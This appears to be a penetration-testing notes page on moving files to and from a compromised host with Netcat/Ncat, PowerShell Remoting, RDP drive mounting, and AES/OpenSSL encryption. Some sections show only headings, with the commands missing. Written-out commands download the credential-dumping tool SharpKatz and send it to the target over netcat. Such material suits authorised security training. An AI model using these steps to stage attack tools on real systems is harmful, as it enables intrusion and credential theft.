☑️Other Methods
Netcat
We'll first start Netcat (nc) on the compromised machine, listening with option -l, selecting the port to listen with the option -p 8000, and redirect the stdout using a single greater-than > followed by the filename, SharpKatz.exe.
nc -l -p 8000 > SharpKatz.exeIf the compromised machine is using Ncat, we'll need to specify --recv-only to close the connection once the file transfer is finished.
ncat -l -p 8000 --recv-only > SharpKatz.exeFrom our attack host, we'll connect to the compromised machine on port 8000 using Netcat and send the file SharpKatz.exe as input to Netcat. The option -q 0 will tell Netcat to close the connection once it finishes. That way, we'll know when the file transfer was completed.
wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exenc -q 0 192.168.49.128 8000 < SharpKatz.exeBy utilizing Ncat on our attacking host, we can opt for --send-only rather than -q. The --send-only flag, when used in both connect and listen modes, prompts Ncat to terminate once its input is exhausted.
ncat --send-only 192.168.49.128 8000 < SharpKatz.exeSending a file as an input:
On our machine we run:
sudo nc -l -p 443 -q 0 < SharpKatz.exeOn the compromised machine:
nc 192.168.49.128 443 > SharpKatz.exeDoing the same thing with ncat:
sudo ncat -l -p 443 --send-only < SharpKatz.exencat 192.168.49.128 443 --recv-only > SharpKatz.exePowerShell Session
We already talk about doing file transfers with PowerShell, but there may be scenarios where HTTP, HTTPS, or SMB are unavailable. If that's the case, we can use PowerShell Remoting, aka WinRM, to perform file transfer operations.
PowerShell Remoting allows us to execute scripts or commands on a remote computer using PowerShell sessions. Administrators commonly use PowerShell Remoting to manage remote computers in a network, and we can also use it for file transfer operations. By default, enabling PowerShell remoting creates both an HTTP and an HTTPS listener. The listeners run on default ports TCP/5985 for HTTP and TCP/5986 for HTTPS.
To create a PowerShell Remoting session on a remote computer, we will need administrative access, be a member of the Remote Management Users group, or have explicit permissions for PowerShell Remoting in the session configuration.
Lets say we are transferring files from DC01 to DATABASE01, and in our case DC01 has admin rights over DATABASE01 . First lets check the connection:
Next, we create a PS remoting session. We dont need creds as we have admin rights over it:
Now to copy from our localhost to DB01:
And to copy from DB01 to our localhost:
RDP
RDP is commonoly used for remote access and we can use copy-paste to transfer files. Sometimes it might not work as expected but we can mount a folder to the RDP session.
When we are making the RDP connection we can mount a folder that is in our computer to be mounted to the RDP session so we can access our folder from the remote access connection.
Using rdesktop
Using xfreerdp:
Encryption - Windows
Sometimes we might want to encrypt the data that we are transferring.
Using Invoke-AESEncryption.ps1
Many different methods can be used to encrypt files and information on Windows systems. One of the simplest methods is the Invoke-AESEncryption.ps1 PowerShell script. This script is small and provides encryption of files and strings.
This .ps1 file can then be imported as module:
To encrypt a file now:
This will create another file with the same name but .aes extension.
Encryption - Linux
We can use OpenSSL to encrypt files in Linux.
To encrypt a file using openssl we can select different ciphers, see OpenSSL man page. Let's use -aes256 as an example. We can also override the default iterations counts with the option -iter 100000 and add the option -pbkdf2 to use the Password-Based Key Derivation Function 2 algorithm. When we hit enter, we'll need to provide a password.
For example, encrypting etc/passwd with OpenSSL:
Now to decypt passwd.enc:
Last updated